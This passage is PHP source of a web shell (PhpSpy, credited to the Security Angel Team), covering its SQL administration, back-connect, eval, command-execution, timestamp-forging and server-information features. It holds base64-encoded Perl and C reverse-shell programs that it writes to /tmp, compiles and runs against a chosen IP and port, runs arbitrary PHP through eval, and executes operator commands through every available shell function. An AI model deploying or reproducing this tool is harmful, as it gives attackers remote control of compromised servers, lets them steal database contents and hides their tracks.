$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','sqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
$where = $tmp = $b1 = '';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].'</td>');
p('<td>'.$table['Update_time'].'</td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('</tr>');
}
p('<tr class='.bg().'>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
p('</tr>');
p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide('doing','backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == 'backconnect') {
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array('title'=>'Back Connect'));
makehide('action','backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
p('Your Port:');
makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
p('Use:');
makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
}//end sql backup
elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match('#<\?#si', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array('title'=>'Eval PHP Code'));
makehide('action','eval');
maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
formfooter();
}//end eval
elseif ($action == 'editfile') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,'r');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array('title'=>'Create / Edit File'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
formfooter();
}//end editfile
elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
formhead(array('title'=>'Clone file was last modified time'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
formfooter();
formhead(array('title'=>'Set last modified'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
p('<p>Instead »');
p('year:');
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
p('month:');
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
p('day:');
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
p('hour:');
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
p('minute:');
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
p('second:');
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
p('</p>');
formfooter();
}//end newtime
elseif ($action == 'shell') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM('Shell.Application');
$a = $shell->ShellExecute($program,$parameter);
m('Program run has '.(!$a ? 'success' : 'fail'));
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
formhead(array('title'=>'Execute Program'));
makehide('action','shell');
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
p('<p>');
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
}
formhead(array('title'=>'Execute Command'));
makehide('action','shell');
if (IS_WIN && IS_COM) {
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
}
p('<p>');
makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p('</pre>');
}
}//end shell
elseif ($action == 'phpenv') {
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && $dis_func = 'No';
$info = array(
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
4 => array('Server OS',PHP_OS),
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8 => array('PHP run mode',strtoupper(php_sapi_name())),
9 => array('The file path','index.php'),
10 => array('PHP Version',PHP_VERSION),
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
12 => array('Safe Mode',getcfg('safe_mode')),
13 => array('Administrator',$adminmail),
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
15 => array('enable_dl',getcfg('enable_dl')),
16 => array('display_errors',getcfg('display_errors')),
17 => array('register_globals',getcfg('register_globals')),
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
19 => array('memory_limit',getcfg('memory_limit')),
20 => array('post_max_size',getcfg('post_max_size')),
21 => array('upload_max_filesize',$upsize),
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
23 => array('disable_functions',$dis_func),
);
if($phpvarname) {
m($phpvarname .' : '.getcfg($phpvarname));
}
formhead(array('title'=>'Server environment'));
makehide('action','phpenv');
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
formfooter();
$hp = array(0=> 'Server', 1=> 'PHP');
for($a=0;$a<2;$a++) {
p('<h2>'.$hp[$a].' »</h2>');
p('<ul class="info">');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
}
p('</ul>');
}
}//end phpenv
else {
m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
</div>
</body>
</html>
<?php
/*======================================================
函数库
======================================================*/
function m($msg) {
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin['cookiepre'] : '').$key;
$life = $life ? $life : $admin['cookielife'];
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
// 登陆入口
function loginpage() {
?>
<style type="text/css">
input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
</style>
<form method="POST" action="">
<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
// 页面调试信息
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo 'Processed in '.$totaltime.' second(s)';
}
//连接数据库
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// 去掉转义字符
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// 清除HTML代码
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// 获取权限
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = 's';}
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
else {$type = '?';}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
function getUser($filepath) {
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
}
}
return '';
}
// 删除目录
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);
deltree($deldir.'/'.$file);
}
if (is_file($deldir.'/'.$file)) {
@chmod($deldir.'/'.$file,0777);
@unlink($deldir.'/'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// 表格行间的背景色替换
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
// 获取当前的文件系统路径
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
// 获取当前目录的上级目录
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// 检查PHP配置参数
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return 'No';
} elseif ($result == 1) {
return 'Yes';
} else {
return $result;
}
}
// 检查函数情况
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$dirdata[$j]['dirchmod']=getChmod($f);
$dirdata[$j]['dirperm']=getPerms($f);
$dirdata[$j]['dirlink']=ue($dir);
$dirdata[$j]['server_link']=$f;
$dirdata[$j]['client_link']=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.'<br>';
$res = $error = '';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
// 压缩打包类
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//文件列表
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, 'r');
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// 获得指定目录文件列表
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
